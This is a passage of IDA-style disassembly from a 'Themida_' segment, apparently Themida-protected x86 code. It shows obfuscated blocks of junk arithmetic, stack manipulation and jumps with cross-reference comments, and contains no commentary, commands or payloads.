; ---------------------------------------------------------------------------


loc_59EFB5:				; CODE XREF: Themida_:005AF48Ej
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 1DD01E2h
		push	eax
		mov	eax, ecx
		jmp	loc_5ACCF9
; ---------------------------------------------------------------------------


loc_59EFCC:				; CODE XREF: Themida_:005AA256j
		pop	eax
		pop	esi
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_59EA22
; ---------------------------------------------------------------------------


loc_59EFDB:				; CODE XREF: Themida_:0059A7E9j
		jz	loc_5A0650
		jmp	loc_5AADC5
; ---------------------------------------------------------------------------


loc_59EFE6:				; CODE XREF: Themida_:0059B416j
		mov	[esp], ebp
		push	58ADh
		mov	[esp], edx
		push	edi
		mov	edi, 190C7EC4h
		jmp	loc_5AA83E
; ---------------------------------------------------------------------------


loc_59EFFC:				; CODE XREF: Themida_:00599A9Aj
		push	62B3h
		mov	[esp], edx
		jmp	loc_5AE978
; ---------------------------------------------------------------------------


loc_59F009:				; CODE XREF: Themida_:005AAA62j
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AD697
; ---------------------------------------------------------------------------


loc_59F016:				; CODE XREF: Themida_:005AA87Aj
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_598B4B
; ---------------------------------------------------------------------------


loc_59F025:				; CODE XREF: Themida_:005A2644j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5AA64D
; ---------------------------------------------------------------------------


loc_59F030:				; CODE XREF: Themida_:005AE2E0j
		push	esp
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5AADAC
; ---------------------------------------------------------------------------


loc_59F03C:				; CODE XREF: Themida_:005ADC4Bj
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_59AAA1
; ---------------------------------------------------------------------------


loc_59F04D:				; CODE XREF: Themida_:005A20C8j
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		jmp	loc_5A0865
; ---------------------------------------------------------------------------


loc_59F056:				; CODE XREF: Themida_:005ADC31j
		push	612Dh
		mov	[esp], eax
		jmp	loc_5A4701
; ---------------------------------------------------------------------------


loc_59F063:				; CODE XREF: Themida_:loc_59DF8Ej
		dec	eax
		add	eax, 2FB831E0h
		jp	loc_5A221F
		add	eax, 6C9912B4h
		jo	loc_5A1A6C
		push	ebp
		jmp	loc_5A1459
; ---------------------------------------------------------------------------


loc_59F080:				; CODE XREF: Themida_:005A2D79j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_5AC035
; ---------------------------------------------------------------------------


loc_59F0B7:				; CODE XREF: Themida_:0059D96Aj
		mov	bh, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	small 5AEFh
		mov	[esp], cx
		jmp	loc_5AD5F7
; ---------------------------------------------------------------------------


loc_59F0D0:				; CODE XREF: Themida_:005A0A83j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5A43EB
; ---------------------------------------------------------------------------
		push	47Bh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59D251
; ---------------------------------------------------------------------------


loc_59F0EE:				; CODE XREF: Themida_:0059F291j
					; Themida_:005A7169j
		add	edx, 68964CE5h
		jmp	loc_5ADB42
; ---------------------------------------------------------------------------


loc_59F0F9:				; CODE XREF: Themida_:005AF80Fj
		jmp	loc_5A2F7F
; ---------------------------------------------------------------------------


loc_59F0FE:				; CODE XREF: Themida_:005AB0DBj
		push	ecx
		jmp	loc_5AAE02
; ---------------------------------------------------------------------------


loc_59F104:				; CODE XREF: Themida_:005ABB7Aj
		pop	edx
		pop	edx
		jmp	loc_5ACB8F
; ---------------------------------------------------------------------------


loc_59F10B:				; CODE XREF: Themida_:00598DA8j
					; Themida_:005A6E30j
		mov	ch, ah
		pop	eax
		jmp	loc_59C6BD
; ---------------------------------------------------------------------------


loc_59F113:				; CODE XREF: Themida_:0059FFA7j
		sub	ebp, 56D1F3E0h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_59DDA8
; ---------------------------------------------------------------------------


loc_59F121:				; CODE XREF: Themida_:005AB2C5j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59F130:				; CODE XREF: Themida_:005A003Ej
		pop	edi
		add	esp, 4
		shr	esi, 8
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1F4D4B73h
		or	esi, ebp
		jmp	loc_5A9021
; ---------------------------------------------------------------------------


loc_59F14F:				; CODE XREF: Themida_:005A12D5j
		and	ecx, 1E5131A5h
		jp	loc_5AADE9
		xor	ecx, 39BE1492h
		sub	ecx, 0FB73AB39h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebp, 75621551h
		push	ecx
		mov	ecx, 1
		sub	ebp, 5BEC5527h
		add	ebp, ecx
		add	ebp, 5BEC5527h
		pop	ecx
		jmp	loc_5ADA6C
; ---------------------------------------------------------------------------


loc_59F18F:				; CODE XREF: Themida_:0059E80Ej
		add	bh, 41h
		sub	bh, ch
		push	edx
		mov	dh, 0B2h
		dec	dh
		neg	dh
		shr	dh, 1
		add	dh, 1Ah
		jmp	loc_5A063D
; ---------------------------------------------------------------------------


loc_59F1A5:				; CODE XREF: Themida_:005A63AFj
		mov	al, 32h
		jmp	loc_5AE05D
; ---------------------------------------------------------------------------


loc_59F1AC:				; CODE XREF: Themida_:0059DB8Fj
		sub	cl, 3Ch
		add	bl, cl
		pop	ecx
		push	5E30h
		mov	[esp], edx
		mov	dl, 78h
		inc	dl
		add	dl, 10h
		sub	bl, dl
		pop	edx
		pop	ecx
		jmp	loc_5AA86F
; ---------------------------------------------------------------------------


loc_59F1CA:				; CODE XREF: Themida_:005A48CEj
		neg	ebp
		jle	loc_59FA4A
		jmp	loc_5AE273
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		push	ebp


loc_59F1DF:				; CODE XREF: Themida_:0059D75Ej
		jmp	loc_5AF2E4
; ---------------------------------------------------------------------------


loc_59F1E4:				; CODE XREF: Themida_:005AA77Cj
		mov	ebp, 5F80FC0h
		push	6E0A709Ah
		jmp	loc_5A48E8
; ---------------------------------------------------------------------------


loc_59F1F3:				; CODE XREF: Themida_:loc_59AFFDj
		neg	ecx
		jg	loc_5AAB49
		dec	ecx
		sub	ecx, 0FF6EF760h
		add	ecx, edi
		add	[ecx], edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5AA1D7
; ---------------------------------------------------------------------------


loc_59F215:				; CODE XREF: Themida_:005A9A3Aj
		mov	dh, cl
		jmp	loc_59C4FD
; ---------------------------------------------------------------------------


loc_59F21C:				; CODE XREF: Themida_:0059BE99j
		mov	ecx, 4
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebx, 4
		jmp	loc_5A1F0A
; ---------------------------------------------------------------------------


loc_59F235:				; CODE XREF: Themida_:loc_59D621j
					; Themida_:005A0DBCj
		sub	ecx, 37DB4994h
		jmp	loc_5AE9A5
; ---------------------------------------------------------------------------


loc_59F240:				; CODE XREF: Themida_:005ABD68j
		push	ecx
		jmp	loc_5A7740
; ---------------------------------------------------------------------------


loc_59F246:				; CODE XREF: Themida_:0059AC36j
		xor	ebx, 0E701C604h
		mov	eax, ebx
		pop	ebx
		add	edx, 161917FEh
		sub	edx, eax
		sub	edx, 161917FEh
		pop	eax
		push	esi
		jmp	loc_5ADD40
; ---------------------------------------------------------------------------


loc_59F264:				; CODE XREF: Themida_:005A31FEj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		jmp	loc_5AD0E3
; ---------------------------------------------------------------------------


loc_59F272:				; CODE XREF: Themida_:005A635Ej
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A1755
; ---------------------------------------------------------------------------


loc_59F281:				; CODE XREF: Themida_:005AB8CEj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59F286:				; CODE XREF: Themida_:005ACC0Aj
		shr	eax, 5
		shr	eax, 2
		xor	eax, 618B4EECh
		jmp	loc_59F0EE
; ---------------------------------------------------------------------------


loc_59F296:				; CODE XREF: Themida_:005AA6F3j
		push	0D5Ah
		mov	[esp], esi
		jmp	loc_5A903E
; ---------------------------------------------------------------------------


loc_59F2A3:				; CODE XREF: Themida_:0059BC3Fj
		mov	[esp], esi
		jmp	loc_59D0CE
; ---------------------------------------------------------------------------


loc_59F2AB:				; CODE XREF: Themida_:005A8EB2j
		pop	ebp
		add	ecx, 4
		jmp	loc_5ADE21
; ---------------------------------------------------------------------------


loc_59F2B4:				; CODE XREF: Themida_:005AE3BBj
		mov	[esp], edx
		push	ebx
		mov	ebx, 265942E6h
		shl	ebx, 5
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		shr	ebx, 7
		jz	loc_5AC2B5
		push	esi
		mov	esi, 0D6CCF76h
		add	ebx, esi
		jmp	loc_59BE7A
; ---------------------------------------------------------------------------


loc_59F2DB:				; CODE XREF: Themida_:0059ACE3j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_59C48D
; ---------------------------------------------------------------------------


loc_59F2E9:				; CODE XREF: Themida_:0059CDD4j
		sub	cl, 0EBh
		sub	ah, cl
		pop	ecx
		sub	bl, 80h
		add	bl, ah
		add	bl, 80h
		pop	eax
		add	bl, al
		jmp	loc_5AF660
; ---------------------------------------------------------------------------


loc_59F2FF:				; CODE XREF: Themida_:loc_59B00Bj
					; Themida_:005A6AC9j
		sub	eax, 0C85A3Bh
		jz	loc_5AC8C5
		shr	eax, 4
		jmp	loc_59ED58
; ---------------------------------------------------------------------------


loc_59F312:				; CODE XREF: Themida_:005A528Fj
		mov	ebp, 62470EB6h
		inc	ebp
		or	ebp, 7F325EABh
		neg	ebp
		neg	ebp
		xor	ebp, 73C45B78h
		sub	edi, ebp
		jmp	loc_5A790B
; ---------------------------------------------------------------------------


loc_59F32F:				; CODE XREF: Themida_:005A2044j
					; Themida_:005ACCE1j
		mov	esp, [esp]
		shr	eax, 0Eh
		jmp	loc_5A9686
; ---------------------------------------------------------------------------


loc_59F33A:				; CODE XREF: Themida_:loc_59993Fj
		push	1D1h
		mov	[esp], ebx
		push	2B7Ah
		jmp	loc_5A31F6
; ---------------------------------------------------------------------------


loc_59F34C:				; CODE XREF: Themida_:005AB58Bj
		mov	edi, 78DD0C19h
		or	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edi
		mov	edi, 8A00AF7h
		and	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 0F77FF74Fh
		jmp	loc_59E5C2
; ---------------------------------------------------------------------------


loc_59F36E:				; CODE XREF: Themida_:005AC63Cj
		pop	eax
		mov	edi, edx
		pop	edx
		push	edx
		jmp	loc_5A5279
; ---------------------------------------------------------------------------


loc_59F378:				; CODE XREF: Themida_:005A2AD7j
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 51DA6929h
		add	ecx, 7D0B19E1h
		shl	ecx, 7
		or	ecx, 3B2F3876h
		shr	ecx, 1
		neg	ecx
		jmp	loc_5A20B0
; ---------------------------------------------------------------------------


loc_59F39C:				; CODE XREF: Themida_:005A18D7j
		push	ebp
		push	580248E3h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	dword ptr [esp+8], 1EA360DFh
		sub	[esp+8], ebp
		jmp	loc_59DF0D
; ---------------------------------------------------------------------------


loc_59F3BA:				; CODE XREF: Themida_:0059C67Fj
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		sub	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59F3C9:				; CODE XREF: Themida_:005A0215j
		mov	ch, 2Ah
		jmp	loc_5A0B3D
; ---------------------------------------------------------------------------


loc_59F3D0:				; CODE XREF: Themida_:0059D32Cj
		pop	eax
		add	edx, ebp
		add	edx, 62937519h
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xor	edx, [esp]
		jmp	loc_59B2A8
; ---------------------------------------------------------------------------


loc_59F3F3:				; CODE XREF: Themida_:005A5144j
					; Themida_:005A93A8j
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_59CED3
; ---------------------------------------------------------------------------


loc_59F408:				; CODE XREF: Themida_:005AFB0Aj
		pop	edi
		add	eax, ecx
		jmp	loc_59CA87
; ---------------------------------------------------------------------------


loc_59F410:				; CODE XREF: Themida_:005A10F7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5AB197
; ---------------------------------------------------------------------------


loc_59F424:				; CODE XREF: Themida_:005A8E52j
		jmp	loc_5AEBDE
; ---------------------------------------------------------------------------


loc_59F429:				; CODE XREF: Themida_:005AA064j
		xchg	edi, [esp]
		mov	esp, [esp]
		add	bl, 12h
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 7Bh
		sub	ah, 0FBh
		inc	ah
		push	bx
		push	ecx
		mov	ch, 0FDh
		jmp	loc_5A3444
; ---------------------------------------------------------------------------


loc_59F44C:				; CODE XREF: Themida_:005A2F87j
					; Themida_:005AE293j
		jmp	loc_5AF588
; ---------------------------------------------------------------------------


loc_59F451:				; CODE XREF: Themida_:005A2A5Cj
		inc	ecx
		xor	ecx, 93A7A99Eh
		mov	ebp, ecx
		pop	ecx
		add	ebx, ebp
		pop	ebp
		pop	edx
		push	ebp
		push	edi
		mov	edi, 4
		push	edi
		pop	ebp
		pop	edi
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59953B
; ---------------------------------------------------------------------------


loc_59F479:				; CODE XREF: Themida_:0059CCA8j
		push	ebp
		pop	ebx
		jmp	loc_5A5AE5
; ---------------------------------------------------------------------------


loc_59F480:				; CODE XREF: Themida_:005A4CE1j
					; Themida_:005AB1F3j
		mov	[esp], edx
		push	ecx
		mov	ch, 0Eh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5AC12C
; ---------------------------------------------------------------------------


loc_59F491:				; CODE XREF: Themida_:005AD8ADj
		add	edx, 8B327Ch
		add	[edx], ecx
		pop	edx
		jmp	loc_5A40FA
; ---------------------------------------------------------------------------


loc_59F49F:				; CODE XREF: Themida_:005AA11Ej
		shl	ebx, 4
		xor	ebx, 64480044h
		mov	ebp, ebx
		pop	ebx
		add	dword ptr [esp+4], 579D1D34h
		push	edx
		mov	edx, 516C5600h
		sub	[esp+8], edx
		jmp	loc_5A79E2
; ---------------------------------------------------------------------------


loc_59F4C2:				; CODE XREF: Themida_:0059B984j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cx
		push	small 419Eh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59F4E4:				; CODE XREF: Themida_:005A9F0Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	edi, 3B6075A7h
		add	edi, esi
		add	edi, 3B6075A7h
		pop	esi
		push	eax
		jmp	loc_5A982A
; ---------------------------------------------------------------------------


loc_59F509:				; CODE XREF: Themida_:005A34B8j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 7Eh
		jmp	loc_59F7ED
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A0EE6
; ---------------------------------------------------------------------------


loc_59F52D:				; CODE XREF: Themida_:00599333j
		mov	al, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dl, al
		mov	bh, dl
		pop	edx
		mov	dl, bh
		jmp	loc_5A6DFF
; ---------------------------------------------------------------------------


loc_59F54B:				; CODE XREF: Themida_:0059EF41j
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	eax
		mov	eax, 49B36512h
		sub	ebx, eax
		pop	eax
		add	ebx, 30CE6006h
		jmp	loc_5A67B1
; ---------------------------------------------------------------------------


loc_59F56E:				; CODE XREF: Themida_:00598CA4j
		push	ebx
		mov	ebx, 3D813C4Ah
		add	edx, ebx
		pop	ebx
		sub	edx, 67E60059h
		jmp	loc_598E45
; ---------------------------------------------------------------------------


loc_59F582:				; DATA XREF: Themida_:005986E4o
		mov	ax, [esp]
		push	eax
		jmp	loc_5A2803
; ---------------------------------------------------------------------------


loc_59F58C:				; CODE XREF: Themida_:005A92A0j
					; Themida_:005A98FAj
		mov	[esp], edi
		jmp	loc_5A7F27
; ---------------------------------------------------------------------------


loc_59F594:				; CODE XREF: Themida_:005A20ABj
		add	esp, 4
		or	ecx, 3DE71044h
		sub	ecx, 0FFFFFFFFh
		add	ecx, 0AE4A4ED5h
		or	ebp, ecx
		jmp	loc_5AA6CB
; ---------------------------------------------------------------------------


loc_59F5B3:				; CODE XREF: Themida_:005A0DABj
		mov	ch, 1Ah
		jmp	loc_5A0DC1
; ---------------------------------------------------------------------------


loc_59F5BA:				; CODE XREF: Themida_:005AF2A7j
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	ebp
		push	106C4106h
		pop	ebp
		xor	ebp, 20A22100h
		mov	esi, ebp
		jmp	loc_5A80EC
; ---------------------------------------------------------------------------


loc_59F5D8:				; CODE XREF: Themida_:005A8E75j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ebp
		push	esp
		jmp	loc_59D8F4
; ---------------------------------------------------------------------------


loc_59F5FD:				; CODE XREF: Themida_:005A8979j
		xchg	edx, [esp]
		pop	esp
		sub	dword ptr [esp], 136F2CB3h
		jmp	loc_5A8D1C
; ---------------------------------------------------------------------------


loc_59F60D:				; CODE XREF: Themida_:005AAB64j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, al
		mov	dl, bh
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	ah, dl
		jmp	loc_599FF8
; ---------------------------------------------------------------------------


loc_59F62D:				; CODE XREF: Themida_:005AF549j
		push	6802h
		mov	[esp], edx
		jmp	loc_59ADC0
; ---------------------------------------------------------------------------


loc_59F63A:				; CODE XREF: Themida_:005A05DAj
		mov	ecx, 3767650h
		or	ecx, 6A05046Fh
		neg	ecx
		xor	ecx, 0AC58B624h
		jmp	loc_5A4276
; ---------------------------------------------------------------------------


loc_59F652:				; CODE XREF: Themida_:0059947Fj
		push	eax
		push	esp
		pop	eax
		push	1412h
		mov	[esp], edx
		push	ebx
		push	ecx
		push	0BB636F9h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 18BF2BE5h
		jge	loc_59A423
		or	ecx, 21BA3513h
		jns	loc_5A3637
		mov	ebp, ebx
		pop	ebp


loc_59F685:				; CODE XREF: Themida_:loc_5A77C4j
		sub	esp, 4
		mov	[esp], eax
		push	edx
		push	95C7640h
		jmp	loc_5ABD9E
; ---------------------------------------------------------------------------


loc_59F699:				; CODE XREF: Themida_:0059EF2Ej
		add	esi, edx
		jmp	loc_59C38B
; ---------------------------------------------------------------------------


loc_59F6A0:				; CODE XREF: Themida_:0059BE91j
					; Themida_:005A87DDj
		mov	edx, esp
		add	edx, 4
		jmp	loc_59AD28
; ---------------------------------------------------------------------------


loc_59F6AD:				; CODE XREF: Themida_:005A93BBj
		push	4576h
		mov	[esp], edx
		mov	edx, 14AC43B5h
		push	esi
		mov	esi, 2E41130h
		jmp	loc_59E440
; ---------------------------------------------------------------------------


loc_59F6C5:				; CODE XREF: Themida_:005ACE55j
		xor	edi, 75B1EE0h
		xor	edi, 1F0144B3h
		sub	eax, edi
		jmp	loc_59D2D8
; ---------------------------------------------------------------------------


loc_59F6D8:				; CODE XREF: Themida_:005AE492j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 2F060859h
		inc	edi
		xor	edi, 79987BF1h
		push	ebx
		jmp	loc_5A4B9C
; ---------------------------------------------------------------------------


loc_59F6F1:				; CODE XREF: Themida_:0059AB7Fj
		pop	esi
		mov	ebx, [esp]
		jmp	loc_5ADA98
; ---------------------------------------------------------------------------


loc_59F6FA:				; CODE XREF: Themida_:0059D3CBj
		push	edx
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0EDh
		jmp	loc_5AA38D
; ---------------------------------------------------------------------------


loc_59F709:				; CODE XREF: Themida_:0059BC80j
		add	ebp, edi
		sub	ebp, 4E451A3Dh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_5A1257
; ---------------------------------------------------------------------------


loc_59F731:				; CODE XREF: Themida_:005A6A77j
		pop	eax
		push	esi
		push	ebp
		jmp	loc_5AB1FB
; ---------------------------------------------------------------------------


loc_59F739:				; CODE XREF: Themida_:0059DE3Bj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 2CC107C9h
		jmp	loc_5AD509
; ---------------------------------------------------------------------------


loc_59F74A:				; CODE XREF: Themida_:005AE2B1j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5A670C
; ---------------------------------------------------------------------------


loc_59F756:				; CODE XREF: Themida_:005A5E46j
		xor	eax, 7C158AEh
		jnb	loc_5994C9
		neg	eax
		sub	eax, 11F7667Ch
		jmp	loc_59BB5C
; ---------------------------------------------------------------------------
		pop	ax


loc_59F76F:				; CODE XREF: Themida_:005A931Aj
		add	edi, 35F8666Ch
		jmp	loc_5AC1AD
; ---------------------------------------------------------------------------


loc_59F77A:				; CODE XREF: Themida_:0059F85Ej
		add	bh, 51h
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AF399
; ---------------------------------------------------------------------------


loc_59F798:				; CODE XREF: Themida_:0059A717j
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7741028Ah
		sub	edi, 1
		neg	edi
		xor	edi, 0D744C4Eh
		jmp	loc_59CEEB
; ---------------------------------------------------------------------------


loc_59F7BE:				; CODE XREF: Themida_:005ACC8Ej
		add	al, dl
		jmp	loc_5A6483
; ---------------------------------------------------------------------------


loc_59F7C5:				; CODE XREF: Themida_:00599A31j
					; Themida_:005A5203j
		add	esp, 4
		add	ecx, 4
		jmp	loc_5AB384
; ---------------------------------------------------------------------------


loc_59F7D3:				; CODE XREF: Themida_:0059A129j
		push	ebp
		push	ebx
		mov	ebx, 22A52BF9h
		sub	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AB7CF
; ---------------------------------------------------------------------------


loc_59F7ED:				; CODE XREF: Themida_:0059F516j
		push	ebx
		mov	bh, 93h
		sub	bh, 19h
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, cl
		push	ecx
		mov	ch, 29h
		sub	ch, 0AFh
		push	ebx
		mov	bh, 93h
		add	al, bh
		pop	ebx
		add	al, 0E9h
		jmp	loc_59EB34
; ---------------------------------------------------------------------------


loc_59F813:				; CODE XREF: Themida_:0059C27Dj
		shr	ecx, 2
		jmp	loc_5A2737
; ---------------------------------------------------------------------------


loc_59F81B:				; CODE XREF: Themida_:00598F88j
					; Themida_:005A0C2Dj
		sub	eax, ebp
		sub	eax, 3F9F5F1Ah
		pop	ebp
		jmp	loc_5A9921
; ---------------------------------------------------------------------------


loc_59F828:				; CODE XREF: Themida_:005AB8DFj
		pop	ebx
		not	ebx
		push	eax
		mov	eax, 0FAE23FAh
		jmp	loc_59D437
; ---------------------------------------------------------------------------


loc_59F836:				; CODE XREF: Themida_:005A823Ej
		add	eax, ecx
		push	ebp
		mov	ebp, 2F511DC0h
		xor	ebp, 5011523Dh
		jmp	loc_5ADE02
; ---------------------------------------------------------------------------


loc_59F849:				; CODE XREF: Themida_:0059D183j
		sub	esp, 4
		jmp	loc_5A2FE2
; ---------------------------------------------------------------------------


loc_59F854:				; CODE XREF: Themida_:loc_59DBA5j
		not	ebp
		jmp	loc_59AF1E
; ---------------------------------------------------------------------------


loc_59F85B:				; CODE XREF: Themida_:005AA395j
		sub	bh, 91h
		jp	loc_59F77A
		add	bh, 51h
		mov	ch, bh
		mov	ebx, [esp]
		or	bl, 0D2h


loc_59F86F:				; CODE XREF: Themida_:00599CD5j
		pop	eax
		inc	eax
		jmp	loc_59C854
; ---------------------------------------------------------------------------


loc_59F876:				; CODE XREF: Themida_:005A4288j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59DF43
; ---------------------------------------------------------------------------


loc_59F88A:				; CODE XREF: Themida_:005AFD64j
		shr	ebx, 7
		js	loc_5A0E38
		xor	ebx, 0D4CCDFBh
		jmp	loc_598E87
; ---------------------------------------------------------------------------


loc_59F89E:				; CODE XREF: Themida_:005A6BF5j
					; Themida_:005A8C36j
		sub	bl, dl
		pop	edx
		jmp	loc_5A29ED
; ---------------------------------------------------------------------------


loc_59F8A6:				; CODE XREF: Themida_:005A1C73j
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_5A9763
; ---------------------------------------------------------------------------


loc_59F8B8:				; CODE XREF: Themida_:005ABE33j
		mov	bl, 1Eh
		mov	al, 0CEh
		sub	al, bl
		pop	ebx
		inc	al
		neg	al
		sub	al, 0F5h
		push	edx
		mov	dl, 5Ah
		xor	al, dl
		pop	edx
		jmp	loc_5A6BE1
; ---------------------------------------------------------------------------


loc_59F8D0:				; CODE XREF: Themida_:0059D5DBj
		mov	esi, 0D60747h
		sub	esi, 0FA37ED4Eh
		add	edi, 6AAC3485h
		sub	edi, esi
		jmp	loc_5A1DC0
; ---------------------------------------------------------------------------


loc_59F8E8:				; CODE XREF: Themida_:005AF96Dj
		xor	di, 656Eh
		jmp	loc_5A944F
; ---------------------------------------------------------------------------


loc_59F8F2:				; CODE XREF: Themida_:005A8BA4j
		push	dword ptr [edi+eax*4]
		jmp	loc_5ADDEB
; ---------------------------------------------------------------------------


loc_59F8FA:				; CODE XREF: Themida_:005A39B1j
		dec	edx
		jmp	loc_5AF12D
; ---------------------------------------------------------------------------


loc_59F900:				; CODE XREF: Themida_:005A5C46j
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AA61B
; ---------------------------------------------------------------------------


loc_59F91E:				; CODE XREF: Themida_:005A3287j
		jnp	loc_5AD168
		sub	ebp, 0A10B1669h
		add	ebp, 0A7C2976Dh
		add	ebx, 53355750h
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 35425DF5h
		jmp	loc_5A0162
; ---------------------------------------------------------------------------


loc_59F94A:				; CODE XREF: Themida_:0059CADEj
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59BCFE
; ---------------------------------------------------------------------------


loc_59F95C:				; CODE XREF: Themida_:005A5D7Aj
		push	edi
		mov	edi, 1B8709A1h
		mov	ebx, edi
		jmp	loc_59B618
; ---------------------------------------------------------------------------


loc_59F969:				; CODE XREF: Themida_:005A25E6j
					; Themida_:005A70CFj
		not	al
		jmp	loc_5A08D2
; ---------------------------------------------------------------------------


loc_59F970:				; CODE XREF: Themida_:005A1189j
					; Themida_:005A517Bj
		push	edi
		push	eax
		mov	eax, 64C5446Dh
		add	eax, 7C245BD3h
		jnb	loc_5A5E44
		neg	eax
		ja	loc_5AD51A
		xor	eax, 7C158AEh
		pop	ebp


loc_59F990:				; CODE XREF: Themida_:005ADF7Cj
		mov	edi, 78C26A6Bh
		sub	ebp, edi
		pop	edi
		add	ebp, 0E2444E38h
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A93B7
; ---------------------------------------------------------------------------


loc_59F9AC:				; CODE XREF: Themida_:005AFD7Bj
		pop	ebx
		shl	edx, 7
		shr	edx, 1
		push	ebp
		mov	ebp, 184F4666h
		and	ebp, 335549FDh
		jmp	loc_59B4E8
; ---------------------------------------------------------------------------


loc_59F9C3:				; CODE XREF: Themida_:005A064Bj
		sub	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5AFAB0
; ---------------------------------------------------------------------------


loc_59F9D4:				; CODE XREF: Themida_:005AA66Cj
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_5A8915
; ---------------------------------------------------------------------------


loc_59F9E0:				; CODE XREF: Themida_:005A0DDAj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_5AC30C
; ---------------------------------------------------------------------------


loc_59FA08:				; CODE XREF: Themida_:0059B893j
		add	ebx, eax
